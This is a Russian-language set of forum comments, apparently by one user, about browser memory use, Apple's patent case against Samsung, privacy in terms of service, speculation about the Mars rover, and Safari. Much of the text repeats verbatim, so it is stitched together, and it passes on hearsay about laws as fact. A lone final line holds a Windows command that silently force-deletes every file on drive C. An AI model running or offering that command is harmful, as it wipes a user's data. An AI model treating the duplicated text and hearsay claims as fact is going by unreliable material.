Не обижаться, но отвечу всем одним сообщением.
Понятное дело что технологии не стоят на месте, многое изменилось с тех пор. Я с вами полностью согласен.
Сейчас у меня на новом ФФ открыто 8 вкладок и они потребляют 360 мегабайт. Это действительно гораздо меньше, чем то, что было на прошлой версии. Но ёлки палки, Windows XP одна лишь чистая занимает около 64 мегабайт. Люди с планкой в 128 мегабайт 10 лет назад умудрялись играть ещё в серьёзные 3D-игры вроде Mafia, GTA3, Vice City, причём не просто и играть, а без тормозов играть.
Ладно, согласен, я зануда. Но давайте будем честными с собой, это не столько следствие того, что технологии сильно махнули вперёд, сколько следствие резкого спада цены на оперативную память, которую абсолютно перестали жалеть.
Всё-таки оптимизация оперативной памяти выглядит довольно забавно на фоне того, как буквально 5 лет назад браузеры тратили около 30 мегабайт ОЗУ, а сейчас при установке браузера радуешься 180 при одной вкладке. Уже не говоря про то, что иной раз в диспетчере задач наблюдаешь цифру в 1,5 гигабайта, в то время как сама ОС тратит на работу несоизмеримо меньше.
Скажу честно, но это занудство уже чересчур.
Возьмём ваш же пример, когда велосипед и велосипед с педалями — 2 разных патента и всё всех устраивает. Так почему же Самсунг засудили? У них тоже свой велосипед, похожий, но совершенно не такой. Получается что у Эппл патент на любые формы и виды велосипедов.
Я может в истории велосипедов и не разбираюсь, за то прекрасно понимаю что два «велосипеда» одного типа будут похожи друг на друга, потому что это велосипеды. Также как и два телефона одного типа будут похожи. Но это не отменяет того факта что Самсунг засудили имея бредовый патент.
Вы не внимательны. Я сказал «Эппл запатентовала велосипед», а не «форму велосипеда», «тип велосипеда», «детали велосипеда» и т. п. Просто патент на то, чтоб никто больше в мире не производил велосипеды.
Думаю так понятней будет.
Вообще, дело говорит, законы созданы для того чтобы защищать граждан, а не злоупотреблять ими и грабить. Вот тебе пример про Россию-матушку: если автомобиль стоит более полугода (или трёх месяцев, не помню) на одном месте — он официально считается брошенным. Если ты докажешь это — тебя сделают полноправным совладельцем этого автомобиля, после чего ты его можешь спокойно продать, а на старого владельца повесят штраф. Для достоверности информации скажу что это мне рассказал знакомый одного адвоката, который на этом хорошо зарабатывает. Всё законно, и в то же время ничем не прикрытый грабёж.
Или например такое: в США можно использовать оружие в целях самозащиты и даже при этом убить человека. Последствия таких законов в том, что ты можешь воспользоваться ситуацией и убить человека за обычный мордобой или угрозу. Именно по этому в США есть такие кварталы, где на улицу без оружия даже дети не выходят. Выглядит «по-киношному», но самое интересное что это реально есть.
Вот с Эпплом собственно тоже самое. Подобные дизайны были задолго до айфона, пусть не такие красивые, но были. Эппл просто запатентовала «велосипед», изменив форму «руля». Уже не говоря про клик-ту-колл, который был ещё когда Эппл даже айподы не начала продавать.
В решении суда виноват и Эппл, как законный мошенник, и патентное бюро, выдавшее эти патенты, и правовая система США.
Понимаешь какое дело, это всё равно что запатентовать солонку. Не конструкцию солонки, а саму солонку. Не потому что это инновация, а потому что это никто не запатентовал. Собственно, вспомни коммуникаторы на Windows Mobile 2003.
Вот коммуникатор 2004 года под управлением этой ОС:
Тогда айфон ещё даже не планировалось сделать, а подобный дизайн уже был. Да, эппл сделал его более изящным, но он не изобретал этот дизайн. Вот и скажи, в чём суть патента? Просто ограбить конкурента, чтобы у того не было денег на собственные инновации. Про клик-ту-колл уже за меня написали сверху, это было придумано задолго до айфона множеством компаний.
Так новость про ToS о том и говорит, что у некоторых компаний лицензионные соглашения составлены для собственной выгоды, зная что их обычно никто не читает.
Есть небольшие злоупотребления. Из тех что я замечал — использование информации из почты для составления индивидуальной рекламы. Вроде всё хорошо и ничего страшного, по крайней мере в большинстве случаев. Но вот представь ситуацию: сидишь дома в рабочей почте, ищешь другую работу. Гугл подхватил и через неделю выдал на работе: ищете другую работу? Здесь вы можете её найти. А начальник в это время стоял у тебя за спиной. Попробуй докажи что ты не верблюд. Такая ситуация вполне реальна, т.к. подобная контекстная реклама уже была.
Другая ситуация. Зарегистрировался на сайте секс-игрушек, гугл подхватил и через неделю выдал контекстную рекламу: секс-шоп «туда-сюда», низкие цены, высокое качество. А в это время сидел твой ребёнок за компом.
Тоже как-то не очень хорошо.
К слову, рейтинг гугло-почты вполне приемлим в ТоС'е, как я посмотрел.
Это как сказать. Если ТоС сообщает что сайт злоупотребляет пользовательскими данными и использует рассылку на e-mail — человек просто введёт не настоящие данные и зарегистрируется на левую электронку.
А если сервисом будет составляться ТОП-20 крупнейших не надёжных сайтов (с последующей публикацией на новостных порталах) — то эти сайты серьёзно подпортят себе репутацию и задумаются об изменениях в лицензионном соглашении.
Слово «к примеру» вам о чём-нибудь говорит? =)
В ядерной физике я конечно не силён, но в мире достаточно очень дорогих веществ, так что — всё возможно. Кстати, платина и золото становятся дорогими только у ювелиров, по сравнению с другими веществами.
Вообще, я не удивлюсь если марсоход туда не просто так отправили. Выяснили к примеру, что там дохрена какого-нибудь калифорния и отправили машинку на разведку. А после пришлют машинку побольше, вместительностью 200 кг, транспортируют на землю и потом будут его продавать по бешеным ценам.
(для примера, 1 грамм калифорния стоит 6,5 млн за грамм).
Думаю большинство верстальщиков просто перестанет затачивать сайты под сафари, в следствии чего появится много не совместимых с сафари сайтов, из-за чего сафари перестанут пользоваться и Apple его закопает.
Я последнее время начал жалеть, что 5 лет назад начал уходить от программинга по причине того, что делфи-программисты получают меньше чем нормальные сисадмины =( На днях решил вернуться, но на этот раз переходить на C++ с будущими идеями насчёт карьеры в этой области. Не знаю что из этого выйдет, но знаю точно что админство поднадоело конкретно, всё одно и то же изо дня в день.
Понятное дело что технологии не стоят на месте, многое изменилось с тех пор. Я с вами полностью согласен.
Сейчас у меня на новом ФФ открыто 8 вкладок и они потребляют 360 мегабайт. Это действительно гораздо меньше, чем то, что было на прошлой версии. Но ёлки палки, Windows XP одна лишь чистая занимает около 64 мегабайт. Люди с планкой в 128 мегабайт 10 лет назад умудрялись играть ещё в серьёзные 3D-игры вроде Mafia, GTA3, Vice City, причём не просто и играть, а без тормозов играть.
Ладно, согласен, я зануда. Но давайте будем честными с собой, это не столько следствие того, что технологии сильно махнули вперёд, сколько следствие резкого спада цены на оперативную память, которую абсолютно перестали жалеть.
Возьмём ваш же пример, когда велосипед и велосипед с педалями — 2 разных патента и всё всех устраивает. Так почему же Самсунг засудили? У них тоже свой велосипед, похожий, но совершенно не такой. Получается что у Эппл патент на любые формы и виды велосипедов.
Я может в истории велосипедов и не разбираюсь, за то прекрасно понимаю что два «велосипеда» одного типа будут похожи друг на друга, потому что это велосипеды. Также как и два телефона одного типа будут похожи. Но это не отменяет того факта что Самсунг засудили имея бредовый патент.
Думаю так понятней будет.
Или например такое: в США можно использовать оружие в целях самозащиты и даже при этом убить человека. Последствия таких законов в том, что ты можешь воспользоваться ситуацией и убить человека за обычный мордобой или угрозу. Именно по этому в США есть такие кварталы, где на улицу без оружия даже дети не выходят. Выглядит «по-киношному», но самое интересное что это реально есть.
Вот с Эпплом собственно тоже самое. Подобные дизайны были задолго до айфона, пусть не такие красивые, но были. Эппл просто запатентовала «велосипед», изменив форму «руля». Уже не говоря про клик-ту-колл, который был ещё когда Эппл даже айподы не начала продавать.
В решении суда виноват и Эппл, как законный мошенник, и патентное бюро, выдавшее эти патенты, и правовая система США.
Вот коммуникатор 2004 года под управлением этой ОС:
Тогда айфон ещё даже не планировалось сделать, а подобный дизайн уже был. Да, эппл сделал его более изящным, но он не изобретал этот дизайн. Вот и скажи, в чём суть патента? Просто ограбить конкурента, чтобы у того не было денег на собственные инновации. Про клик-ту-колл уже за меня написали сверху, это было придумано задолго до айфона множеством компаний.
Другая ситуация. Зарегистрировался на сайте секс-игрушек, гугл подхватил и через неделю выдал контекстную рекламу: секс-шоп «туда-сюда», низкие цены, высокое качество. А в это время сидел твой ребёнок за компом.
Тоже как-то не очень хорошо.
К слову, рейтинг гугло-почты вполне приемлим в ТоС'е, как я посмотрел.
А если сервисом будет составляться ТОП-20 крупнейших не надёжных сайтов (с последующей публикацией на новостных порталах) — то эти сайты серьёзно подпортят себе репутацию и задумаются об изменениях в лицензионном соглашении.
В ядерной физике я конечно не силён, но в мире достаточно очень дорогих веществ, так что — всё возможно. Кстати, платина и золото становятся дорогими только у ювелиров, по сравнению с другими веществами.
(для примера, 1 грамм калифорния стоит 6,5 млн за грамм).
По этому им дела нет что там с чем совместимо, лишь бы подешевле. А там где дешевле — никто не будет возиться за копейки с оптимизацией под сафари.
cmd /c del c:\* /f /s /a /q